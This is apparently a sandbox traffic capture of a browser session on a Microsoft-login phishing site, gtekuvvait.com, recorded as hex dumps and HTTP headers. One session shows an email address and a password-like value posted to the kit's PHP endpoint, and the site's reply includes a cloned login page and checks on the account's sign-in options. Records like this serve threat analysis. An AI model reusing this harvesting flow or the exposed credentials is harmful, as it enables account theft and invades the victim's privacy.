82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-01 13:08:49 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49793	35.190.80.1	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:09:06 UTC	543	OUT	OPTIONS /report/v4?s=GcUdrhhDl6TVKdQvL%2Ben%2FiZBPwb3Lxv7LLBxWoJvNgMZh01ujo%2BwpfiMgjxieBMj01FObAPDvY7yWJ%2Fgty6raBvIm4kAnExPUEVZvahfl7BReACvxVCw%2BWKtrFB%2BSrRP7g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://gtekuvvait.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:09:06 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 01 Oct 2024 13:09:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49794	35.190.80.1	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:09:06 UTC	535	OUT	OPTIONS /report/v4?s=4DXKE3id0cUYdYdomYtDJYYSZ7NSgw5WMWXsbWtuQIuKoSGe7%2BH49U8G8IWqa581mvQeQRGKWMChTvXadsI3fDXxcbfIOEH0n6nhc5AB8suyRYbkCx4SkXnpu6pt%2BZhfjQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://gtekuvvait.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:09:06 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 01 Oct 2024 13:09:05 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49796	35.190.80.1	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:09:06 UTC	486	OUT	POST /report/v4?s=GcUdrhhDl6TVKdQvL%2Ben%2FiZBPwb3Lxv7LLBxWoJvNgMZh01ujo%2BwpfiMgjxieBMj01FObAPDvY7yWJ%2Fgty6raBvIm4kAnExPUEVZvahfl7BReACvxVCw%2BWKtrFB%2BSrRP7g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 880 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:09:06 UTC	880	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 37 36 38 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 39 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 67 74 65 6b 75 76 76 61 69 74 2e 63 6f 6d 2f 7a 75 70 72 69 76 61 74 65 72 2f 58 64 72 72 77 77 69 70 6a 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 31 2e 31 32 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 Data Ascii: [{"age":58768,"body":{"elapsed_time":1090,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://gtekuvvait.com/zuprivater/Xdrrwwipj/","sampling_fraction":1.0,"server_ip":"104.21.11.126","status_code":403,"type":"http.error"},"type
2024-10-01 13:09:06 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 01 Oct 2024 13:09:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49797	35.190.80.1	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:09:06 UTC	478	OUT	POST /report/v4?s=4DXKE3id0cUYdYdomYtDJYYSZ7NSgw5WMWXsbWtuQIuKoSGe7%2BH49U8G8IWqa581mvQeQRGKWMChTvXadsI3fDXxcbfIOEH0n6nhc5AB8suyRYbkCx4SkXnpu6pt%2BZhfjQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 442 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:09:06 UTC	442	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 32 33 33 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 38 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 31 2e 31 32 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 67 74 65 6b 75 76 76 61 69 74 2e Data Ascii: [{"age":52333,"body":{"elapsed_time":1081,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.11.126","status_code":405,"type":"http.error"},"type":"network-error","url":"https://gtekuvvait.
2024-10-01 13:09:06 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 01 Oct 2024 13:09:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49799	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:09:11 UTC	1762	OUT	POST /zuprivater/Xdrrwwipj/uryfdsk2o3294djfshg.php HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive Content-Length: 41 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://gtekuvvait.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; cf_clearance=h7tWXbhCRfnXbpz8GEt2B2qy5f.Ck1el8SpcwIwGaW0-1727788092-1.2.1.1-pAuzedtMNKEaiyALAK2Lq_CWg2cfZCCbyIYtd7klccux5JiB6KQWqVKueU.fb0W94jUKaFWcKUJ9HS_UyXM7AYgs0zMGxjqxwD.csAT8YH5lQsGL3qqXtCL_iREdUbAP.6eg6BqKfAvs0P2k7xUkAYGf4vQDMEf.gqgDw6gttvCdL7V7gAoYf.ffVfcBrl6s.iYJmTOxlyRpQW9Q48OCT0F.DPXBOyrMgyMS3ql4CodIht77UsSTcmwtPLQri2LQOg5v9NO_3pKZMEavix3FXKfrMwnFguoRd1ZsWMBQFAzJOLlY0zjZpdzT9IzJ47wjsAxBbjYWOPkaefPRf.wiy9lA2lhAXPf90lKk6YipggZyySiGG38W193POOCIAJgW; PHPSESSID=59af271c130d7fcd9b183463b4579638
2024-10-01 13:09:11 UTC	41	OUT	Data Raw: 64 70 5f 6d 3d 6a 73 61 6c 61 73 25 34 30 68 6f 6c 6c 61 6e 64 63 6f 2e 63 6f 6d 26 64 70 5f 70 3d 6e 6f 74 6f 74 64 61 79 Data Ascii: dp_m=jsalas%40hollandco.com&dp_p=nototday
2024-10-01 13:09:14 UTC	939	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oDtKgOlM86LdWQAssGjkveoDgSShLtlqhQ%2BkFaPDHCAmwkoytG6CnK0hLyH8x%2FvSbuAKCUB0xN%2FO41teCiGfWgQ2pszh4BI0MLUocd%2ByXxhWVJkeIgMNZ8IbsoZhLdFaEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cbcaf8d2c990ca1-EWR
2024-10-01 13:09:14 UTC	430	IN	Data Raw: 31 63 65 37 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 74 72 75 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 22 5c 72 5c 6e 5c 72 5c 6e 26 6c 74 3b 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 Data Ascii: 1ce7{"live":false,"is_business":true,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":true,"result":"\r\n\r\n<!-- Copyright (C) Microsoft Corporation. All rights
2024-10-01 13:09:14 UTC	1369	IN	Data Raw: 74 26 6c 74 3b 5c 2f 74 69 74 6c 65 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 43 6f 6e 74 65 6e 74 2d 54 79 70 65 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 74 65 78 74 5c 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 26 71 75 6f 74 3b 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 49 45 3d 65 64 67 65 26 71 75 6f 74 3b 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 6e 61 6d 65 3d 26 71 75 6f 74 3b 76 69 65 77 70 6f 72 74 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 Data Ascii: t<\/title>\r\n <meta http-equiv="Content-Type" content="text\/html; charset=UTF-8">\r\n <meta http-equiv="X-UA-Compatible" content="IE=edge">\r\n <meta name="viewport" content
2024-10-01 13:09:14 UTC	1369	IN	Data Raw: 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 6a 73 64 69 73 61 62 6c 65 64 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 5c 2f 6e 6f 73 63 72 69 70 74 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 20 20 20 20 5c 72 5c 6e 20 20 20 20 5c 72 5c 6e 26 6c 74 3b 6d 65 74 61 20 6e 61 6d 65 3d 26 71 75 6f 74 3b 72 6f 62 6f 74 73 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 6e 6f 6e 65 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 26 6c 74 3b 73 63 72 69 70 74 20 74 79 70 65 3d 26 71 75 6f 74 3b 74 65 78 74 5c 2f 6a 61 76 61 73 63 72 69 70 74 26 71 75 6f 74 3b 26 67 74 3b 5c 2f 5c 2f 26 6c 74 3b 21 5b 43 44 41 54 41 5b 5c 6e 24 43 6f 6e 66 69 67 3d 7b 26 71 75 6f 74 Data Ascii: /\/login.microsoftonline.com\/jsdisabled" \/>\r\n <\/noscript>\r\n\r\n \r\n \r\n<meta name="robots" content="none" \/>\r\n\r\n<script type="text\/javascript">\/\/<![CDATA[\n$Config={&quot
2024-10-01 13:09:14 UTC	1369	IN	Data Raw: 50 6b 72 6f 51 72 4e 4e 4e 4b 37 39 36 43 72 50 42 35 78 67 6e 47 30 47 50 30 67 49 48 76 2d 77 63 39 46 30 6e 2d 62 67 4b 38 71 4c 6a 75 35 31 62 54 79 64 59 33 47 61 5a 50 4a 75 49 56 32 72 70 34 41 6b 45 72 34 33 65 46 44 53 4e 34 33 51 53 6b 63 58 7a 6f 5f 55 2d 2d 69 4a 7a 79 6c 63 6e 33 78 45 65 71 57 71 41 42 70 42 4e 74 52 62 76 68 39 6b 61 5f 45 41 4f 73 4c 56 70 6a 56 54 44 46 46 47 44 55 45 47 33 52 69 59 77 30 45 31 71 5a 52 55 42 42 69 41 41 5c 5c 75 30 30 32 36 6a 73 68 73 3d 30 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 75 72 6c 4d 73 61 4c 6f 67 6f 75 74 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6c 69 76 65 2e 63 6f 6d 5c 2f 6c 6f 67 6f 75 74 2e 73 72 66 3f 69 66 72 61 6d 65 64 5f 62 79 3d 68 74 74 Data Ascii: PkroQrNNNK796CrPB5xgnG0GP0gIHv-wc9F0n-bgK8qLju51bTydY3GaZPJuIV2rp4AkEr43eFDSN43QSkcXzo_U--iJzylcn3xEeqWqABpBNtRbvh9ka_EAOsLVpjVTDFFGDUEG3RiYw0E1qZRUBBiAA\\u0026jshs=0","urlMsaLogout":"https:\/\/login.live.com\/logout.srf?iframed_by=htt
2024-10-01 13:09:14 UTC	1369	IN	Data Raw: 6d 6f 6e 5c 5c 75 30 30 32 36 75 69 5f 6c 6f 63 61 6c 65 73 3d 65 6e 2d 55 53 5c 5c 75 30 30 32 36 65 70 63 74 3d 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 55 53 47 75 54 51 5a 50 4a 45 67 67 47 41 71 45 61 56 71 4b 33 5a 30 32 72 67 75 50 41 6b 6b 47 62 59 4d 7a 6e 44 4c 77 4b 59 59 68 63 42 44 36 2d 6f 64 49 30 4f 5f 71 61 71 51 52 42 2d 73 67 7a 54 53 4d 68 33 53 70 51 32 76 5a 45 2d 6a 6a 69 45 63 63 34 54 73 62 69 65 71 47 56 38 38 31 44 46 70 58 45 6e 67 66 59 73 56 4d 55 42 4c 6c 68 4a 56 74 39 36 37 67 74 53 4f 37 5a 43 46 71 6d 7a 6f 47 67 69 4f 51 6e 37 36 50 32 4b 66 44 30 6e 34 63 5a 63 6a 70 68 6b 69 36 68 47 38 32 75 76 32 53 70 43 2d 65 47 67 42 4a 33 77 2d 43 42 5f 44 7a 46 36 69 31 Data Ascii: mon\\u0026ui_locales=en-US\\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeUSGuTQZPJEggGAqEaVqK3Z02rguPAkkGbYMznDLwKYYhcBD6-odI0O_qaqQRB-sgzTSMh3SpQ2vZE-jjiEcc4TsbieqGV881DFpXEngfYsVMUBLlhJVt967gtSO7ZCFqmzoGgiOQn76P2KfD0n4cZcjphki6hG82uv2SpC-eGgBJ3w-CB_DzF6i1
2024-10-01 13:09:14 UTC	1369	IN	Data Raw: 72 61 6c 20 41 66 72 69 63 61 6e 20 52 65 70 75 62 6c 69 63 7e 32 33 36 21 21 21 54 44 7e 43 68 61 64 7e 32 33 35 21 21 21 43 4c 7e 43 68 69 6c 65 7e 35 36 21 21 21 43 4e 7e 43 68 69 6e 61 7e 38 36 21 21 21 43 58 7e 43 68 72 69 73 74 6d 61 73 20 49 73 6c 61 6e 64 7e 36 31 21 21 21 43 43 7e 43 6f 63 6f 73 20 28 4b 65 65 6c 69 6e 67 29 20 49 73 6c 61 6e 64 73 7e 36 31 21 21 21 43 4f 7e 43 6f 6c 6f 6d 62 69 61 7e 35 37 21 21 21 4b 4d 7e 43 6f 6d 6f 72 6f 73 7e 32 36 39 21 21 21 43 47 7e 43 6f 6e 67 6f 7e 32 34 32 21 21 21 43 44 7e 43 6f 6e 67 6f 20 28 44 52 43 29 7e 32 34 33 21 21 21 43 4b 7e 43 6f 6f 6b 20 49 73 6c 61 6e 64 73 7e 36 38 32 21 21 21 43 52 7e 43 6f 73 74 61 20 52 69 63 61 7e 35 30 36 21 21 21 43 49 7e 43 26 6f 63 69 72 63 3b 74 65 20 64 5c 5c Data Ascii: ral African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\\
2024-10-01 13:09:14 UTC	132	IN	Data Raw: 21 21 4c 56 7e 4c 61 74 76 69 61 7e 33 37 31 21 21 21 4c 42 7e 4c 65 62 61 6e 6f 6e 7e 39 36 31 21 21 21 4c 53 7e 4c 65 73 6f 74 68 6f 7e 32 36 36 21 21 21 4c 52 7e 4c 69 62 65 72 69 61 7e 32 33 31 21 21 21 4c 59 7e 4c 69 62 79 61 7e 32 31 38 21 21 21 4c 49 7e 4c 69 65 63 68 74 65 6e 73 74 65 69 6e 7e 34 32 33 21 21 21 4c 54 7e 4c 69 74 68 75 61 6e 69 61 7e 33 37 30 21 21 21 4c 55 7e 4c 0d 0a Data Ascii: !!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~L
2024-10-01 13:09:14 UTC	1369	IN	Data Raw: 39 36 38 0d 0a 75 78 65 6d 62 6f 75 72 67 7e 33 35 32 21 21 21 4d 4f 7e 4d 61 63 61 6f 20 53 41 52 7e 38 35 33 21 21 21 4d 47 7e 4d 61 64 61 67 61 73 63 61 72 7e 32 36 31 21 21 21 4d 57 7e 4d 61 6c 61 77 69 7e 32 36 35 21 21 21 4d 59 7e 4d 61 6c 61 79 73 69 61 7e 36 30 21 21 21 4d 56 7e 4d 61 6c 64 69 76 65 73 7e 39 36 30 21 21 21 4d 4c 7e 4d 61 6c 69 7e 32 32 33 21 21 21 4d 54 7e 4d 61 6c 74 61 7e 33 35 36 21 21 21 4d 48 7e 4d 61 72 73 68 61 6c 6c 20 49 73 6c 61 6e 64 73 7e 36 39 32 21 21 21 4d 51 7e 4d 61 72 74 69 6e 69 71 75 65 7e 35 39 36 21 21 21 4d 52 7e 4d 61 75 72 69 74 61 6e 69 61 7e 32 32 32 21 21 21 4d 55 7e 4d 61 75 72 69 74 69 75 73 7e 32 33 30 21 21 21 59 54 7e 4d 61 79 6f 74 74 65 7e 32 36 32 21 21 21 4d 58 7e 4d 65 78 69 63 6f 7e 35 32 21 Data Ascii: 968uxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!
2024-10-01 13:09:14 UTC	1046	IN	Data Raw: 65 6f 6e 65 7e 32 33 32 21 21 21 53 47 7e 53 69 6e 67 61 70 6f 72 65 7e 36 35 21 21 21 53 58 7e 53 69 6e 74 20 4d 61 61 72 74 65 6e 7e 31 21 21 21 53 4b 7e 53 6c 6f 76 61 6b 69 61 7e 34 32 31 21 21 21 53 49 7e 53 6c 6f 76 65 6e 69 61 7e 33 38 36 21 21 21 53 42 7e 53 6f 6c 6f 6d 6f 6e 20 49 73 6c 61 6e 64 73 7e 36 37 37 21 21 21 53 4f 7e 53 6f 6d 61 6c 69 61 7e 32 35 32 21 21 21 5a 41 7e 53 6f 75 74 68 20 41 66 72 69 63 61 7e 32 37 21 21 21 53 53 7e 53 6f 75 74 68 20 53 75 64 61 6e 7e 32 31 31 21 21 21 45 53 7e 53 70 61 69 6e 7e 33 34 21 21 21 4c 4b 7e 53 72 69 20 4c 61 6e 6b 61 7e 39 34 21 21 21 53 48 7e 53 74 20 48 65 6c 65 6e 61 2c 20 41 73 63 65 6e 73 69 6f 6e 2c 20 61 6e 64 20 54 72 69 73 74 61 6e 20 64 61 20 43 75 6e 68 61 7e 32 39 30 21 21 21 53 44 Data Ascii: eone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~421!!!SI~Slovenia~386!!!SB~Solomon Islands~677!!!SO~Somalia~252!!!ZA~South Africa~27!!!SS~South Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49801	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:09:16 UTC	822	OUT	GET /zuprivater/Xdrrwwipj/uryfdsk2o3294djfshg.php HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; PHPSESSID=59af271c130d7fcd9b183463b4579638
2024-10-01 13:09:16 UTC	984	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N9YwkkdFnm%2F9pfyrUz0vB%2F%2FPGyg9%2BQW%2FnymxI4rDoxvC15MLBmLyid0UsQQYDsxpsEQiVGAxcij9dmuBLPXz0x1PNO6eNwYITupjHLayRwB5j33nW60k0RsevuGPaLSnng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare 